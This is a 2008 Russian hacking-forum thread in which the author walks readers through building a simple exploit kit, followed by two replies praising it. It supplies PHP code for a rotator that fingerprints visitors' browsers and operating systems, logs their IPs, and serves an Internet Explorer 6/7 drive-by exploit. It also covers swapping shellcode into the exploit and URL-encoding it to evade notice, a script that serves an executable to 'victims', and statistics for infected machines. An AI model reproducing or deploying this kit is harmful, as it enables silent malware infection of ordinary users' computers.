1. На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.
Скрыть объявление
Привет, Незнакомец! У тебя есть возможность Оставить комментарий в теме

Пишем простейшую связку эксплоитов.

Тема в разделе "H4X S0FTW4RE", создана пользователем TRaY, 2 дек 2008.

  1. TRaY IPv6

    TRaY
    TS
    WebVoice
    Регистрация:
    8 сен 2008
    Сообщения:
    136
    Симпатии:
    4
    1. Intro.
    Что такое эксплоит. Эксплоит (exploit — использовать) - фрагмент программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведет к повышению привелегий, отказу в обслуживании или выполнению произвольного кода.
    Есть разные типы эксплоитов: local, remote, dos и тп, мы же будем использовать remote-эксплоиты.
    Выбирать мы будем эксплоиты по типу remote\download and execution file\IE 6/7...То есть эксплоиты, которые позволяют через определенную уязвимость браузеров Internet explorer 6 и 7 загрузить и выполнить наш файл в системе.
    Что такое связка-эксплоитов. Связка эксплоитов - набор эксплоитов, выдающихся ротатором. Задача ротатора - определить всевозможное ПО на машине жертвы и подобрать подходящий эксплоит. Стандарнтое "строение" связки:
    Ротатор.
    Эксплоиты.
    Загружаемый файл.
    Статистика.
    Админ-панель.
    Наиболее "популярные" паблик(общедоступные, доступные простым смертным) это Ice-Pack, Armitage[beta], G-pack и тп.
    Почему мы будем выберать эксплоиты под IE? - Т.к. мы будем писать простейшую связку-эксплоитов, мы не будем рассматривать примеры более навороченных связок, эксплоиты под различные ОСи, браузеры, явамашины, сторонний софт типа Adobe\djvu-reader'oв\etc...После почтения статьи, вам не составит труда добавить другие эксплоиты и тд.
    Наверняка у вас завалялсо какой-нибудь эксп, и вы в нем видите немного непонятные строки, типа такого:
    Код:
    %uC933%uE983%uD9A9%uD9EE%u2474%u5BF4%u7381%u5713
    Выше приведен кусок шелл-кода(shellcode).
    Что такое шеллкоды. Шелл-код - это двоичный исполняемый код, который обычно передаёт управление консоли, например '/bin/sh' Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе(взято с вики).
    Мы же будем использовать шеллкод в следующей схеме: загрузка эксплоита - при успешном "пробиве" передается управление шеллкоду - шеллкод загружает и исполняет наш исходный файл.
    Теперь, когда мы разобрались с используемыми понятиями, можно переходить к следующему пункту...

    2. С чего начинаем.
    Для начала, составим схему нашей будущей мег0-связки)
    Ротатор - скрипт будет определять ОСь, Браузер, Версию браузера, Уникальность посетителя, Айпи адрес, записывать полученные данные в бд и выдавать подходящий эксплоит. Назовем файл index.php
    Файлы бд. - Обычно в связках эксплоитов используют mysql базы данных, но тк мы пишем простую связку, мы обойдемся и без них. Все будем писать в лог-файлы.
    Файл\файлы эксплоитов - используемые эксплоиты, которые будет выдовать ротатор - файлы, содержащие наш вредоносный js-код. Назовем файл spl.php
    Скрипт выдачи файла - так как нам нужно вести статистику загрузок файла, мы будем использовать скрипт, который будет писать в лог если к файлу было обращение, ну и выдовать этот файл.Назовем файл load.php. Разумеется такой способ сбора статистики "пробитых" машин не очень то и верен, мы будем использовать 2 вида подсчета загрузок: через скрипт и через наш файл.
    Наш файл - exe-файл, который мы будем грузить "жертвам" ^^ Назовем файл load.exe
    Админ-панель - какая же связка без 0дминки? Мы сделаем себе простенькую админку, чтоб нам было удобно просматривать статистику и результаты...управлять статистикой и тп...Назовем файл admin.php
    Определились со схемой, можно приступать к заготовке материалов=)
    Подбираем эксплоиты...Где их взять? Рекомендую искать свежие и не только экспы на сайтах:
    http://www.securitylab.ru и http://milw0rm.com
    Требования к эксплоитам указанны в п.1, но если вы пропустили и вам лень возвращаться, напомню: remote\download and execution\IE 6-7 ... Много не набирайте, мы же только учимся - 3-6 хватит...
    Готово? - двигаемсо дальше...
    Что там потребуется:
    Мозг.
    Прямые руки.
    Текстовый редактор.
    То, на чем фсе будем тестить, если вам не фпадло, можете каждый раз заливать фсе на хостинг с поддержкой пхп, но йа рекомендую поставить себе простенькую и легкую программу USBWebServer - программа содержит в себе апач\php\mysql и не требует установки, вес запакованного дистра - 12-14мб...так что проблем с программой не возникнет.
    Когда у нас фсе готово, можно приступать к подготовке эксплоитов.
    Открываем эксп в тектовом редакторе, ищем в js-коде переменную типа var shellcode\scode в таком духе, нашли? теперь нам нужно заменить на наш шеллкод...где взять шеллкод? - здесь несколько вариантов, скачать генератор шеллкодов, найти не проблема, скачать уже готовый шелл-код, подыскать материал по написанию шеллкодов и написать самому...выберать вам...
    Шеллкоду мы будем указывать файл load.php ...
    Теперь, когда шеллкод прикручен к сплоиенту, спрячим немного наш сплоит...
    Выделяем оставшуюся часть кода, закидываем в url-encoder - найти не проблема, есть онлайн\ехе"шные\етц...
    Теперь у нас получилось что-то на подобии следующего кода...
    Код:
    %58%59%59%59%59%59%59
    Теперь заменим этот код на следующий:
    Код:
    document.write(unescape('%58%59%59%59%59%59%59));
    В сумме у нас получается примерно следующий эксплоит:
    Код:
    <script>
    var shellcode = шеллкод;
    document.write(unescape('%58%59%59%59%59%59%59'));
    </script>
    
    Эксплоит готов! Можно открывать баночку пива)
    Переходим к следующей части нашего мег0-пака - Ротатор.
    Для начала, нам нужно определить версию браузера и оси пользователя а так же его айпи адрес...
    Браузер и ось мы будем мы все определять за счет строковых функций.
    Код:
    $ip = $_SERVER['REMOTE_ADDR']; //IP-адрес
    /*Определяем браузер*/
    $user_agent = getenv("HTTP_USER_AGENT"); //Получаем user-agent'a передаваемого браузером.
    if (eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers) or 
    eregi("(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $vers)) /*ищем в нем название браузера и версию, если найден, присваиваем переменной значения и таг же везде в следующих строках*/
    {$typs= "Opera";
    $browser = "Opera" . " " . $vers[2];}
    elseif (eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
    {$typs= "Konqueror";
    $browser = "Konqueror" . " " . $vers[2];}
    elseif (eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
    {$typs= "Lynx";
    $browser = "Lynx" . " " . $vers[2];}
    elseif (eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
    {$typs= "Links";
    $browser = "Links" . " " . $vers[2];}
    elseif (eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
    {$typs= "Internet Explorer";
    $browser = "Internet Explorer" . " " . $vers[2];}
    elseif (eregi("(netscape6)/(6.[0-9]{1,3})", $user_agent, $vers))
    {$typs= "Netscape";
    $browser = "Netscape" . " " . $vers[2];}
    elseif (eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers) or
    eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $vers))
    {$typs= "Firefox";
    $browser = "Firefox" . " " . $vers[2];}
    elseif (eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $vers))
    {$typs= "Mozilla";
    $browser = "Mozilla" . " " . $vers[2];}
    elseif (eregi("(flock)", $user_agent))
    {$browser ="Flock";}
    elseif (eregi("(maxthon)", $user_agent))
    {$browser ="Maxthon";}
    elseif (eregi("(chrome)", $user_agent))
    {$browser ="Chrome";}
    else
    {$typs= "Other";
    $browser = "Other";}
    
    Айпи и браузер определили? Теперь определим ось
    Код:
    if (strstr($user_agent, "Windows 95")) $system = "Windows 95"; /*везде ищем в передаваемом user-agent'e ось, передаем значение переменной, если не найдено - даем назначение переменной ака имя браузера - other*/
    elseif (strstr($user_agent, "Windows NT 4"))   $system = "Windows NT 4";
    elseif (strstr($user_agent, "Windows 98")) $system = "Windows 98";
    elseif (strstr($user_agent, "Win 9x 4.9")) $system = "Windows ME";
    elseif (strstr($user_agent, "Windows NT 5.0")) $system = "Windows 2000";
    elseif (strstr($user_agent, "Windows NT 5.1")) $system = "Windows XP";
    elseif (strstr($user_agent, "Windows NT 5.2")) $system = "Windows 2003";
    elseif (strstr($user_agent, "Windows NT 6.0")) $system = "Windows Vista";
    elseif (strstr($user_agent, "WOW64")) $system = "Windows Vista x64";
    elseif (strstr($user_agent, "Linux"))  $system = "Linux";
    elseif (strstr($user_agent, "Mac OS")) $system = "Mac OS";
    else   $system = "Other";
    
    Едем дальше, теперь определим уникальность посетителя, запишем в лог его номер...
    Код:
    /*Здесь мы смотрим есть ли айпи в нашей бд, если нету - к кол-ву уников прибавляется еденица, айпи пишется в лог...*/
    if(!file_exists("./unic.txt"))
    {
    $fp = @fopen ("./unic.txt", "w");
    fputs($fp,"1\n".$ip."\n");
    fclose ($fp);
    }
    $f = true;
    $l = @file("./unic.txt");
    for ($i = 1; $i < count($l); $i++)
    {
    if ($ip == trim($l[$i]))
    {
    $f = false;
    }
    }
    if($f){
    $l[0]+=1;
    $fp = @fopen ("./unic.txt", "w");
    fputs($fp,$l[0]."\n");
    for ($i = 1;$i < count($l);$i++)fputs($fp,$l[$i]);
    fputs ($fp, $ip."\n");
    fclose ($fp);
    
    Практически все, теперь запишем в лог браузер\ось\айпи и тп...
    Т.к мы не будем говорить о дизайне админки, таблицах в ней и тп, я следаю чтоб в лог писалось все довольно примитивно, и потом просто инклудилось в нашу админку:
    Код:
    /*указываем переменным имя файла и каг его открыть, пишем туда полученные данные, если юзер уникален.*/
    $log = "stats.txt"; 
    $fp = fopen($log,"a+");
    fwrite($fp,"$system:$browser:$ip<br>");
    fclose($fp);
    
    Пачти готово, теперь осталось дописать код выдачи эксплоита, код примитивный, расчитан только на 3 вида IE:
    версия < 6 , 6-версия и 7 версия ... Под оси и тп мы определять сплоиенты не будем, тк фспомните - пишем мы простейшую связку.
    Код:
    /*если браузер ИЕ - смотрим версию, выдаем под нее файл, в коде указан одинаковый файл, но изменить не проблема*/
    if($browser == "Internet Explorer") //Если браузер ослик, продолжаем...
    {
    if($vers < "6") //если версия ниже шестой
    { include "./spl.php"; } //инклудим сплоит под весии ниже 6
    if($vers == "6") //если шестой 
    { include "./spl.php"; } //инклудим сплоит под 6
    if($vers == "7") //если седьмой
    { include "./spl.php"; } //инклудим сплоит под 7 ...
    }
    else //если у нас не ослик, а любой другой браузер
    {
    header("Location: about:blank"); //просто редиректим на about:blank 
    }
    }
    /*здесь мы пишем номер нашего уника*/
    $a = trim($l[0]);
    $we = fopen("./uniq.txt","w");
    fwrite($we,$a);
    fclose($we);
    ?>
    
    Все, наш файл index.php готов! Открываем еще одну баночку пива, едем дальше...
    Наш файл load.php ...
    Тут все достаточно просто:
    Код:
    /**Открываем файло loads.txt пишем в него номер уника - для подсчета загрузок*/
    <?php
    $load = "loads.txt";
    $fop = @fopen($load,"r");
    if ($fop)
    {
    $counter = fgets($fop,10);
    fclose($fop);
    }
    else 
    { 
    $counter = 0;
    }
    $counter++;
    $fop = @fopen($hostfile,"w");
    if ($fop)
    {
    $counter = fputs($fop,$counter);
    fclose($fop);
    } 
    /*посчитали? - теперь выдаем файл load.exe*/
    $fo=fopen("load.exe", "rb");
    while(!feof($fo)) 
    {
    $a=fgets($fo);
    echo $a;
    }
    ?>
    
    Усе, осталось немного...
    Основа готова, теперь можно приступать к написанию админки...тут дело уже творческое, кому-то она просто-напросто не нужна, кому-то нужна, но без лишних наворотов, а кто-то хочет флеш-админку с клевым дизом и кучей функций...так что выберать вам...Когда админка будет готова, главное указать в ней следующее:
    Трафик: считывать кол-во будем из файла uniq.txt
    Загрузки: считывать кол-во будем из файла loads.txt
    Статистика: считывать будем из файла stats.txt
    Если вы все делали слово в слово каг написано выше, у вас дириктория со связкой должна содержать следующие файлы:
    index.php
    load.php
    loads.txt
    stats.txt
    unic.txt
    uniq.txt
    admin.php
    файлы админки.
    Теперь нам нужно все проверить, ставим на локалхост нашу новую связочку, проверяем чтоб небыло ошибок, Напомню про права, на лог-файлы и load.exe - ставим права 777. ... готово? - Атлична, Теперь закинем наш файл load.exe в папку со фсем остальным, поставим на хостинг и пустим немного траффа для проверки подобранных вами сплоитов на пробив... Разумеется, что от первой, написанной собственными руками связки, кульного пробива не ждите =)

    3. End.

    Подведем небольшой итог:
    Теперь вы знаете как написать простую связку эксплоитов, нету 2ух баночек пива, вы узнали для сибя что-то новое и вам было не особо скучно фсе это читать...надеюсь...)
    Немного полезного материала:
    http://google.ru - универсальная поисковая система.
    http://milw0rm.com - хранилище эксплоитов.
    http://www.securitylab.ru - хранилище эксплоитов, обзоры багов и тд.
    http://ru.wikipedia.org/wiki/User_Agent - подробнее про юзер-агент.
    http://www.paulschou.com/tools/xlate - онлайн Base64, HEX, Binary, и т. д. кодер/декодер
    http://forum.xaknet.ru/thread2402.html - немного теории о экспах ...

    Если вам интересно, как выгладит все это при сборе, с миниадминкой, написал такую простенькую связку...писалась меньше часа, так что без критики, знаю что дерьмо, но каг пример - пойдет)
    Скрин:
    [​IMG]
    Download
    Mirror
    Пасс webcriminal.ru
    Фсе вылаженное и изложенной - справачный материал, если использовать его в аццких целях - злые дяденьки накажут 8)
     
    2 пользователям это понравилось.
  2. luter 0x01

    luter
    Регистрация:
    4 янв 2009
    Сообщения:
    1
    Симпатии:
    0
    ТС спасиб!) пожалуй самая полнейшая статья про написание, из всех что я читал;)
     
  3. G00Dluck 8айтовый

    G00Dluck
    WebVoice
    Регистрация:
    24 фев 2009
    Сообщения:
    71
    Симпатии:
    1
    ICQ:
    366766958
    +1 молоток ! статья в зачёт и читать интересно !